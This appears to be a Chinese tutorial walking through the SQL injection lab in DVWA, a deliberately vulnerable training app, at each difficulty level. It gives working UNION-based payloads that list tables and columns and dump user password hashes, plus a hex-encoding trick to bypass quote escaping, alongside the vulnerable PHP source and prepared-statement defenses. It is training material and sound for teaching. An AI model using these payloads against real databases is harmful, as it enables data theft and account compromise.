DVWA-SQL Injection SQL注入

概念

SQL注入,是指将特殊构造的恶意SQL语句插入Web表单的输入或页面请求的查询字符串中,从而欺骗后端Web服务器以执行该恶意SQL语句。

成功的 SQL 注入漏洞可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作 (例如关闭 DBMS),恢复 DBMS 文件系统上存在的给定文件的内容 (load_file),并在某些情况下向操作系统发出命令。

SQL 注入攻击是一种注入攻击,其中 SQL 命令被注入到数据平面输入中,以便执行预定义的 SQL 命令。

这种攻击也可以称为“SQLi”。


目的

数据库中有 5 个用户,ID 从 1 到 5。您的任务...通过SQLi窃取他们的密码。

漏洞分析


分类

  • 参数类型:数字型、字符型(需要引号闭合)
  • 是否回显信息:回显注入和盲注
  • 注入位置:GET注入、POST注入、Cookie注入和搜索注入

 

危害

通过SQL注入漏洞,数据库中的关键数据可能会被窃取,如管理员的账号和密码、用户的身份证号码和手机号等个人信息;数据库中存储的数据可能会被篡改,以进行挂马、钓鱼或其他攻击方式的间接利用;甚至,在拥有较高权限时,可以直接获取Web Shell或者执行系统命令等。因此,SQL注入漏洞的危害是绝对不容小觑的。

低水平

输入id,在页面显示了id,first name和surname。

只输入一个‘,点击submit,出现了SQL错误提示,说明后台直接执行了SQL,可能存在了SQL注入。数据库执行了输入的特殊构造语句,可能存在SQL注入漏洞。

输入  1 or 1=1,显示了id为1的信息

 

输入 1 ' or 1=1 # 显示了所有用户的“First name”和“Surname”,如图

 在构造语句时,为了避免SELECT语句中额外增加限制子句,我们经常会在最后加上符号“#”。“#”是注释符,表示这个符号后面的语句不会被执行。

确认SQL注入类型后,我们可以构造SQL语句来获取数据库名。但是想要用SQL语句来获取数据库名,就需要在原来的SQL语句中再拼接一个SQL语句,也就是需要使用联合查询语句union。union语句要求前后两个SELECT子句的字段数相同,因此,我们必须先来获取查询语句的字段数。

输入1 ' or 1=1 order by 1 # ,发现结果按照First name排序,说明First name是查询结果第一个字段,1 ' or 1=1 order by 2 #,发现结果按照surname排序,说明是第二个字段

输入 1 ' or 1=1 order by 3 #,显示报错,说明SELECT子句的字段数为2。

构造union语句,1' union select 1,database()# 在第二个位置会显示数据库的名

 

获取数据库的表名: 

在MySQL数据库中,有一个默认自带的系统数据库information_schema。该数据库本质上是一个视图,存储了数据库的元数据,也就是存储了所有数据库的相关信息,如数据库information_schema中的数据表TABLES中存储了数据库服务器中所有数据库的所有数据表的信息。 数据表information_schema.tables中显示的TABLE_SCHEMA字段为数据表所在的数据库名,TABLE_NAME字段为数据表名。这样,通过数据库的数据表information_schema.tables就能获取到dvwa数据库中存储了哪些数据表。

SELECT first_name, last_name FROM dvwa.users WHERE user_id = '1' UNION SELECT 1, table_name from information_schema.`TABLES` where TABLE_SCHEMA="dvwa" 

 

可以看到dvwa有两个表,分别是guestbokk和users

  • 找到字段名

information_schema.columns表中显示了TABLE_SCHEMA(数据库名)、TABLE_NAME(数据表名)、COLUMN_NAME(字段名),以及其他数据信息

SELECT first_name, last_name FROM dvwa.users WHERE user_id = '1' UNION SELECT 1, column_name from information_schema.`COLUMNS` where TABLE_SCHEMA="dvwa" 

 1' UNION SELECT 1, column_name from information_schema.`COLUMNS` where TABLE_SCHEMA="dvwa"#

可以看到显示了表字段,包含user,passwword 

 

  • 获取字段对应数据

找到账号密码,输入如下语句,可以看到输出了账号,密码信息。

1' UNION SELECT user, password from dvwa.users# 

 

  • 密码解密

用户admin的密码是经过MD5加密后存储的数据,因此,想要获取明文密码,必须进行MD5解密。大家可以在线进行解密,比如通过在线网站CMD5进行解密 

获取到了DVWA平台管理员用户的账号为admin,对应的密码为password。有了管理员用户的账号和密码,攻击者就可以使用管理员权限进入该平台,进行后续的入侵和破坏,比如在DVWA的网站上挂马、篡改网页内容

初级SQL手工注入渗透测试过程:

①判断系统是否可能存在SQL注入漏洞,以及SQL注入类型是数字型注入还是字符型注入。②获取SELECT语句的字段数,以使用联合查询语句union拼接想要执行的SELECT语句。基于MySQL系统数据库中的各个数据表和SQL语句语法构造用户输入,形成可在MySQL数据库中正确执行的语句以依次获取:数据库名→数据表名→指定数据表中的字段名→指定字段的数据。③获取管理员的用户名,并破解管理员的MD5密码。

从源码可以看到,从获取前端用户输入的id参数值到SQL语句的执行,没有设置任何对用户输入的防护,攻击者可以在查询表单的输入处实施SQL注入。

$id = $_REQUEST[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;

中级

在中级中,选项为下拉菜单,且以post方式提交。无法直接在页面修改选项,需要使用burpsuite拦截后修改负载再发送。

  •  查找注入类型

使用参数 1 or 1=2,显示了所有结果,说明为数字型注入。

 

找到数据库名

 

 

获取的数据表名

4 union select 1,group_concat(table_name)from information_schema.tables where table_schema=′dvwa′#

发生错误,因为引号被转义为/

为了绕过防护,可以使用Burp Suite的Decoder模块,将“dvwa”直接转换为十六进制数据。在“Decoder”界面输入需要转换的字符串“dvwa”,选择“Encode as”下拉列表中的“ASCII hex”选项,就可以获取到“dvwa”对应的十六进制数据“64767761"十六进制数据以“0x”开头,因此,“dvwa”对应的十六进制数据可以使用“0x64767761”表示

 

 获取字段名

id=1 union select 1,group_concat(column_name)from information_schema.columns where table_name=0x7573657273#&Submit=Submit

 

获取字段对应数据

id=1 union select user,password from users#&Submit=Submit

 

中级使用SQL注入保护的一种形式,具有 “mysql_real_escape_string()”。 但是,由于 SQL 查询的参数周围没有引号,因此这不会完全保护查询不被更改。

// Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

高水平

与初级、中级SQL手工注入渗透测试环境的源代码对比、分析可以发现:①id参数是通过SESSION的方式传递到后端的。②SQL语句中增加了“LIMIT 1”的限制,每次只能返回一条记录;③在发生错误时,不返回具体的错误信息,只返回提示语句“Something went wrong.”。


<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
            break;

使用# 来绕过limit 1的限制

1'or 1=1 # 说明为字符型注入

找到数据库名

1 ' union select 1,database()#

 

找到表名

1' union select 1,group_concat(table_name)from information_schema.`TABLES` where table_schema='dvwa'#

 

找到字段名

1'union select 1,group_concat(column_name)from information_schema.`COLUMNS` where table_name='users'#

 

高级防护,后端主要通过“LIMIT 1”来限制返回数据的个数,这个防护措施通过“#”注释符就可以轻松绕过高级 

防护方法

1、输入验证和处理

客户端或服务器端对ID进行数字类型的检验,禁止字符的输入

其次,对特殊字符进行转义。如:对SQL注入过程中常用的单引号“′”、百分号“%”、下画线“_”等符号进行转义。PHP中的mysql_escape_string()函数就可以实现字符转义的功能。在客户端和服务器端对所有的输入数据进行长度、类型、范围、格式等的合规性检查,拒绝不合法数据的接收,并且对输入的特殊字符做一定的处理

2、数据库配置

数据库连接遵循“最小权限”原则。在Web应用程序访问数据库时,禁止任何管理员权限账户(如root、sa等)的连接。由于业务需求,可以单独为应用程序创建权限较低的账户,进行有限访问。其次,关键数据务必加密后存储。对于关键或敏感信息,可以加密或哈希后再存储到数据库,这样,攻击者即使获取到这些数据,也无法加以利用。

3、预编译和参数化语句

不可能的水平

 $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();
                $row = $data->fetch();

                // Make sure only 1 result is returned
                if( $data->rowCount() == 1 ) {
                    // Get values
                    $first = $row[ 'first_name' ];
                    $last  = $row[ 'last_name' ];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }

对Impossible级SQL手工注入渗透测试环境的源代码进行分析可以发现,主要防护措施为:使用Anti-CSRF token防止CSRF攻击;通过prepare()函数进行预编译,绑定变量id,将代码和数据分离,且确保返回数据为1条,对SQL注入攻击进行有效防护。

参考《web渗透测试与防护 慕课版》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/112313.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

k8s基本操作命令

目录 1、//查看资源对象简写 2、//查看集群信息 3、//配置kubectl自动补全 4、//node节点查看日志 5、//查看 master 节点状态 6、//查看命令空间 7、//查看default命名空间的所有资源 8、//创建命名空间app 9、//删除命名空间app 10、//在命名空间kube-public 创建…

华为OD机考算法题:计算最大乘积

题目部分 题目计算最大乘积难度易题目说明给定一个元素类型为小写字符串的数组&#xff0c;请计算两个没有相同字符的元素长度乘积的最大值。 如果没有符合条件的两个元素&#xff0c;返回 0。输入描述输入为一个半角逗号分隔的小写字符串的数组&#xff0c;2< 数组长度<…

药监局瑞数6 分析 2023版

网站地址 aHR0cHM6Ly93d3cubm1wYS5nb3YuY24veWFvcGluL3lwamdkdC9pbmRleC5odG1s 清除cookie 选中脚本调试 第一次获取的结果ts 第二次获取的结果是一个294cc83.js&#xff0c;可以固定 第三次获取的结果 content和ts属性每次都要换,还有ts属性一定要和content对应,否则你怎么…

比较BFS和DFS

目录 代码框架对比 引出模板 代码框架对比 dfs是栈的递归&#xff0c;bfs是队列的入出。 引出模板 x可以是栈可以是队列&#xff0c;也可以是随机队列、随机容器&#xff0c;一样可以把整张图遍历出来。

golang中的Interface接口 类型断言、接口赋值、空接口的使用、接口嵌套

Interface整理 文章目录 Interface整理接口嵌套接口类型断言类型判断 type-switch使用方法集与接口空接口实例 接口赋值给接口 接口是一种契约&#xff0c;实现类型必须满足它&#xff0c;它描述了类型的行为&#xff0c;规定类型可以做什么。接口彻底将类型能做什么&#xff0…

Reading:Deep dive into the OnPush change detection strategy in Angular

原文连接&#xff1a;IndepthApp 今天深入阅读并总结Angualr中onPush更新策略。 1. 两种策略 & whats Lview&#xff1f; Angular 实现了两种策略来控制各个组件级别的更改检测行为。这些策略定义为Default和OnPush&#xff1a; 被定义为枚举&#xff1a; export enum…

2023最新全国拉新app推广接单平台合集 地推网推项目平台渠道

平台 ”聚量推客“ 服务商直营的拉新平台 数据和结算都有保障 地推平台承上启下&#xff0c;对上承接甲方项目&#xff0c;对下对接渠道&#xff0c;方便甲方放单又方便渠道统一接单 以下是全国国内十大地推拉新app推广接单平台分享&#xff0c;2023最新全国拉新app推广接单平…

【三方登录-Apple】iOS 苹果授权登录(sign in with Apple)之开发者配置一

记录一下sign in with Apple的开发者配置 前言 关于使用 Apple 登录 使用“通过 Apple 登录”可让用户设置帐户并使用其Apple ID登录您的应用程序和关联网站。首先使用“使用 Apple 登录”功能启用应用程序的App ID 。 如果您是首次启用应用程序 ID 或为新应用程序启用应用程序…

生成瑞利信道(Python and Matlab)

channel h k h_k hk​ is modeled as independent Rayleigh fading with average power loss set as 10^−3 Python import numpy as np# Set the parameters average_power_loss 1e-3 # Average power loss (10^(-3)) num_samples 1000 # Number of fading samples to …

《 博弈论教程(罗云峰版) 》——习题一答案

前言 博弈论这门课程&#xff0c;我们主要参考的教材是《博弈论教程&#xff08;罗云峰版&#xff09;》&#xff0c;但是罗老师的课后习题并没有给出完整的答案&#xff0c;秉着学习的态度&#xff0c;本人结合教材和 PPT 在这里给出课后习题的答案。 由于我们只学了完全信息静…

MFC网络通信-Udp服务端

目录 1、UI的布局 2、代码的实现&#xff1a; &#xff08;1&#xff09;、自定义的子类CServerSocket &#xff08;2&#xff09;、重写OnReceive事件 &#xff08;3&#xff09;、在CUdpServerDlg类中处理 &#xff08;4&#xff09;、在OnInitDialog函数中 &#xff0…

38基于matlab的期货预测,利用PSO优化SVM和未优化的SVM进行对比,得到实际输出和期望输出结果。

基于matlab的期货预测&#xff0c;利用PSO优化SVM和未优化的SVM进行对比&#xff0c;得到实际输出和期望输出结果。线性核函数、多项式、RBF核函数三种核函数任意可选&#xff0c;并给出均方根误差&#xff0c;相对误差等结果&#xff0c;程序已调通&#xff0c;可直接运行。 3…

后端设计PG liberty的作用和增量式生成

Liberty&#xff08;俗称LIB和DB&#xff09;&#xff0c;是后端设计中重要的库逻辑描述文件&#xff0c;这里边包含了除过physical&#xff08;当然也有一点点涉及&#xff09;以外所有的信息&#xff0c;对整个后端设计实现有非常大的作用。借此机会&#xff0c;一起LIB做一个…

AN动画基础——遮罩动画

【AN动画基础——遮罩动画】 什么是遮罩动画基本使用方法实战&#xff1a;水墨遮罩 本篇内容&#xff1a;了解遮罩动画 重点内容&#xff1a;遮罩动画应用 工 具&#xff1a;Adobe Animate 2022 什么是遮罩动画 遮罩动画是一种常见的图形效果&#xff0c;利用遮罩层来实现元素…

[双指针] (三) LeetCode LCR 179. 查找总价格为目标值的两个商品 和 15. 三数之和

[双指针] (三) LeetCode LCR 179. 查找总价格为目标值的两个商品 和 15. 三数之和 文章目录 [双指针] (三) LeetCode LCR 179. 查找总价格为目标值的两个商品 和 15. 三数之和查找总价格为目标值的两个商品题目分析解题思路代码实现总结 三数之和题目分析解题思路代码实现总结 …

【Java 进阶篇】Java Response 路径详解

在Java Web开发中&#xff0c;处理HTTP响应的路径是一个重要的概念。了解如何正确处理和管理路径对于构建健壮的Web应用程序至关重要。本篇博客将详细介绍Java中的HTTP响应路径&#xff0c;包括路径的组成、相对路径和绝对路径的区别、如何构建和处理路径&#xff0c;以及路径在…

项目知识点总结-住房图片信息添加-Excel导出

&#xff08;1&#xff09;住房信息添加 Controller&#xff1a; RequestMapping("/add")public String add(Home home, Model model) throws IOException{String sqlPath null;//定义文件保存的本地路径String localPath"D:\\AnZhuang\\Java项目\\选题\\Xin-…

设计模式(单例模式、工厂模式及适配器模式、装饰器模式)

目录 0 、设计模式简介 一、单例模式 二、工厂模式 三、适配器模式 四、装饰器模式 0 、设计模式简介 设计模式可以分为以下三种: 创建型模式&#xff1a;用来描述 “如何创建对象”&#xff0c;它的主要特点是 “将对象的创建和使用分离”。包括单例、原型、工厂方法、…

141. 环形链表、Leetcode的Python实现

博客主页&#xff1a;&#x1f3c6;看看是李XX还是李歘歘 &#x1f3c6; &#x1f33a;每天分享一些包括但不限于计算机基础、算法等相关的知识点&#x1f33a; &#x1f497;点关注不迷路&#xff0c;总有一些&#x1f4d6;知识点&#x1f4d6;是你想要的&#x1f497; ⛽️今…

数字孪生技术与VR:创造数字未来

在当今数字化浪潮中&#xff0c;数字孪生和虚拟现实&#xff08;VR&#xff09;技术是两大亮点&#xff0c;它们以独特的方式相互结合&#xff0c;为各个领域带来了创新和无限可能。本篇文章将探讨数字孪生与VR之间的关系&#xff0c;以及它们如何共同开辟未来的新前景。 数字…